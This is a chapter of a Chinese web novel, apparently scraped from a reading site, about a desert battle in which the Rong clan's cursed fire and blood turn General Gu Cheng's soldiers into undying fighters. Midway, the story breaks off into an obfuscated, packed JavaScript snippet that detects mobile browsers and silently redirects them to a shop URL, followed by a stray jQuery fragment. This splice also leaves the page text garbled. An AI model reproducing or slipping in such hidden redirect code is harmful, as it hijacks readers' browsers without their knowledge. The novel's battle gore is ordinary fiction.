默认冷灰
24号文字
方正启体

94. 请扫二维码看皮影戏(八)

作者:忘川秋裤本书字数:K更新时间:
    滚在团团黄沙中的墨羽置若罔闻,着急忙慌的爬起来就往上冲,心中只有一个念头:把他的夫人带回家。


    可是他总会忘记,从来就没有他的夫人。


    燕允青就是燕允青,燕允青只是燕允青。


    深陷火光中的黑骑军被不少蓝火击中,谁料到一击中便直躺躺倒下,那火光并未像寻常火焰般灼烧殆尽身体,而是烧干净了皮,溜进血肉之中。朱红血肉中被染上诡异蓝光,不到一盏茶的功夫,那蓝光消失了。


    而这些倒下去的大凤士兵们歪歪扭扭站起来,仿佛失去神志般就开始对自家士兵拔刀相向。


    军中顿时乱了套,此举实在是诡异,竟让顾承也有了些不安,但在他手里,大凤不可能输。打战中的死伤是不可避免的,只要能赢,那他们就是大凤的荣耀。


    高坡下的顾承压下怒气,征战多年的他自然知道,自己能够利用戎族奸细得知主营等位置,那大凤士兵中又怎么可能没有蠢货。


    蠢货在哪里都会败事。


    他拔出随身佩戴的利剑,一面挥开砸下来的人火球,一面斥马前驱,他深知此战必须拿下,否则后患无穷。


    这下,他也无心再管墨羽了,燕允青就留给墨羽去理会。紧接着,他号令黑骑军撤离高坡,他手下的大将跟随他许久,自然懂得如何排兵布阵最合适。


    各方井然有序带兵冲去四处,丝毫没有被眼前的火球影响。


    黑夜将荒漠浸透墨色,连带着身着黑衣的将士们都遮去了身影,但在这一大片玄色中,清透的蓝色漏了点点出来,迷离炫目。


    许是太过混乱,连躲在黑云后边的月亮也忍不住弯出来瞧瞧,它一出,清亮的月光倾泻而下,给底下的光景笼上层层薄雾,更显得缥缈不实。


    被人火球击中的士兵越来越多,像滚雪球一样越滚越大,原本大凤士兵们点燃的火把此刻已经完全消失,刀剑争鸣之声,响彻云霄。


    哀嚎惨叫声经久不绝,惹得荒漠上空飞过的鸟群惊慌失措。


    靠近高坡的士兵们对着后方冲来的士兵们厮杀不已,顾承与各将带着人马灵活躲避着人火球,竟硬生生止住了火势扩大。但是很快,顾承与其他有眼力见的大将就发现,这些士兵被砍伤后流出的已经不是鲜红血色了。


    而哪怕挥刀多次,这些士兵仍能在断肢情况下支棱起来,仍能极其迅速的恢复,然后继续作战。


    此等情况何其熟悉,不就是明晃晃的戎族么。


    可这些分明是他们大凤的士兵,实在是诡异,就像见了鬼一般的荒缪。


    震惊之余,顾承想通了一件事:戎族的血很可能有不死之身的功效。


    若是如此,那当真是他大意了。可是如今已经没有退路了。


    士兵倒下又站起,怎么也杀不死。在前军奋起反击时,后军将中军硬生生杀开了一条血路,步步紧逼前军。


    冲在最前头的,不是副将薛奋,而是白水。


    白水身上全是血水,整个人宛若从水里捞起来一样,白衣俨然成了红衣。但她的脸上没有丝毫惊慌,恰恰相反,是对杀人这件事的满目痴狂。


    明明她不是白水,没有吃下裴云给的药,按理来说,应该不会出现这般情况。


    但此情此景,实在是让白水很难收手。因为,她这副新生的身体明显更加好用了。


    那就不可能放过如此绝佳的机会。


    自古胜败只有生者才有资格谈论。


    她一把长刀破空,银光乍泄,点点火光在长刀上跳动不止。而女子躲闪间便取下数条人命,身后跟着的人自觉喂血,上了瘾一样,一个接一个倒下,又一个接一个站起,永不停歇,永不妥协。


    大军在被前后夹击,前军火光一点点湮灭,又一点点燃起,后军不要命的往前冲。中军见情势危急,自顾不暇,连命令也不再遵循,急急撤开。


    “大将军——不好!”有人丢盔弃甲。


    “将军砍不死啊啊啊啊啊!”有人鬼哭狼嚎。


    “砍不死就多砍几刀啊……”有人破口大骂,恨铁不成钢。


    “撤——退!”这一道清晰的声音,是顾承的。


    没有人会想到,死状凄惨的戎族竟然打了个让人措手不及的翻身战,小小四万多的士兵与十万大军一战,胜败早已分晓。偏偏戎族的气数像甩不掉的狗皮膏药,怎么也灭不掉。


    更没有人会不怕死。尤其是在看到这群好似死不掉的怪物面前,更怕了。


    尤其是在黑夜里,伸手不见五指的黑暗愈发容易刺激人的感官,哪怕只有三分的危险,也会感受到八分的不安。


    不到十万的大军在被一点点的戎族吞食,而后壮大他们自己,士兵依旧是士兵,但阵营早已不似当初。


    没等墨羽爬上高坡,燕允青便策马俯冲下高坡,白眼也没给一个被黄沙呛得直咳嗽的墨羽。而她身后,拖着一条长长的铁链,铁链上整整齐齐码着四百八十五个头骨,不同于人火球的是,头骨间距非常宽。


    而随着烈马嘶鸣,头盖骨中飘出的白烟顿时与朦胧月光融为一体,白烟极其浓烈,以迅雷不及掩耳之势裹住顾承等凝神作战之人。


    这些头盖骨明显是十分匆忙之下制成的,骨头中间的白花花脑浆还未处理干净,就被放上了香。随着白烟飘出,脑花也一坨坨地拉了出来。


    若是前军士兵的离奇行为还是震惊,那这团白烟无疑是减损大凤锐气的利器。白烟呛鼻,还没来得及捂住口鼻便双目眩晕,无力抬起四肢。


    此时,白水早已抢了一匹马,带兵前来。她将四散的逃兵一一收入囊中,先前让麒麟殿与苏承昭谈谈,以十万兵力作筹码换戎族死路。


    皇家太女向来傲视群雄,自然不会做这笔亏本买卖。但此举不过是给他们提个醒罢了,既然不愿意给,那就只好她们自己动手抢了。


    燕允青身下一匹红马青鬃,将这条铁链围上前军的顾承等人。跟随她的折花伺机而动,将地上的无头人火球挑起,抛向炮口。


    果不其然,混乱一片中辨不清视线的炮兵只顾开炮,蓝火星四溅,就着滚滚浓烟,一时间逃也不是,死又死不了。


    如今真正大军压境的是戎族。


    做完这些,燕允青拍拍屁/股走人,好巧不巧碰上了东滚西爬而来的墨羽,眼前的墨羽早已没了昔日的神采奕奕,取而代之的是蓬头跣足的狼狈模样。


    他拦下燕允青的马,弱弱喊她:“夫、夫人,我是来接你回家的。你是不是生我气了,以前都好好的啊,怎么、怎么突然就不要我……”


    燕允青见惯了他这副忸怩作态的贱样,手上缰绳一提,烈马前肢高扬起,将墨羽重重踹出去了几米远。


    “哼,”燕允青嗤笑一声,满脸不屑道:“真是傻人有傻福啊。明明我才是师父的第一位亲传弟子,她老人家偏心偏得要死,还给你改了墨家姓,你一个外门弟子,也敢和我平起平坐。我挂念她老人家的遗愿,留你一条命。这么多年了,师父她也应该死透了。墨羽,我告诉你,我不会杀你。”


    “我懒得因为你和师父怄气,你这般无能的人,就应该被羞辱到死。你自己最清楚,我二人一直都不是什么夫妻,是你死皮赖脸要跟着我。”


    说罢,燕允青头也不回的策马奔腾,离开原地呆滞的墨羽一人。


    白水勒马停下,望着浓烟中的四处逃窜的身影,她想起自己为嵘国子民新取的名字——戎族。


    戎族生来就应该是在战场上的,刀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096152|177548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    光剑影,血洗黄沙,戎马一生最是令人敬仰。为了家国,从戎自当幸事。生死又如何,她不会让他们死。


    只要她在,嵘国也好,戎族也罢,都只会赢。杀戮当然是最直接的方式,抢夺是最不要脸的手段。


    但白水没有忘记,这些年点点滴滴的查探中,当年那场战事是谁挑起的。


    弱的一方被欺/凌,从来就不是弱势一方的过错。既然凤临国的铁骑踏破了嵘国,那想必他们也不会介意,让凤临国的世世代代都要向嵘国赔罪。


    她抬手止住身后将士们的前进,静待顾承的出现。


    这团团白烟不飘向夜空,倒是不停的往底下沉去。白水率先捂住了口鼻,虽然她来之前吃了燕允青给的药,这白烟对她不起作用。


    只是不知道这白烟对喝了她血的士兵们会不会也有同样的效果。如果有,那便只会有凤临国的士兵会受到影响,而已经成为戎族新族民的人,自然不会。


    她和顾承,还有一笔账没清算。


    不得不说,顾承这镇国大将军真是名副其实,领着主力军苟延残喘至此,脚下爬满了“他们”的兄弟,手下却是一点都不留情,拔刀都不带犹豫的。


    还能在这么厚重的白烟中留有神志,带兵冲了出来。


    不出意料,顾承身上也挂了彩,而这冲出浓烟的一万之余的将士们被齐齐拦下了,所剩仍有清醒神志的也因体力不支或是伤势过重而在陆陆续续倒下。


    如此牢牢围攻之势,不必言说也自有威压,与目光如炬的戎族不同,大凤士兵们手里的刀剑抖个不停。


    “戎族主营距凤临国西北边关驻守之地五十里有余,若是早些撤兵,说不定还能多活些人。你说是不是,顾大将军。”白水神色平静,云淡风轻的语气让人恍惚她此时只是在问天气晴否一般。


    “你足够自负,我在见你的第一面就知道。”


    月色清浅,风过,月光晃荡,照在血衣上都多了份凉薄,朱红惹人心惊。白水浅浅勾唇,连带着脸上的血迹都歪了歪,微风将她脸上的尘土吹去些许。


    而在白水远远注视下的顾承捂着胸口,抬首环顾四周,四周穿着他大凤盔甲的士兵们,刀剑直指着他们,满眼杀意。


    而正前方的白水被刺成那样,居然还没死。


    是他大意了,本以为一个小小戎族,十万大兵已然足矣。先前得知西北边关竟被名不见经传的戎族压境,他还嗤之以鼻,后经一战,他虽受了伤,仍是觉得蹊跷可寻不到法子。


    而今日这一战,则是他得知:只要拿下戎族首领,戎族士兵便均会立即身亡,不攻自破,只是戎族首领极其难以近身。


    未保不测,顾承带了十万大兵……


    “你是个怪物。”顾承垂下眼,肯定道。


    闻言,白水轻笑出声,满不在意道:“是啊,那又怎样。”


    夜越来越深了,但除了被围在中间的士兵,其余人精神抖擞,没有丝毫疲惫。


    “大凤不会输。”


    良久,顾承只说了这么一句话。


    白水下马,抬脚走近。


    “顾承,我不杀你。你带着你的残兵败将回到凤临国,我到要看看,你口中的大凤,到底会不会输。”


    说罢,白水抬手,她后方的士兵自觉让出一条路。


    这话在旁人看来是大赦,但对于顾承来说,便是赤/裸裸的羞辱,分明是戏耍他大凤将士。可是今日一战,伤亡惨重,已经顾不得什么面子。


    “驾——”


    呼啸而过的凌厉风声,真是悦耳。白水闭上眼,面上尽是享受。


    白水十分有耐心,就在顾承的战马快要跑到那条路的尽头时,她轻轻开口。


    “杀。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)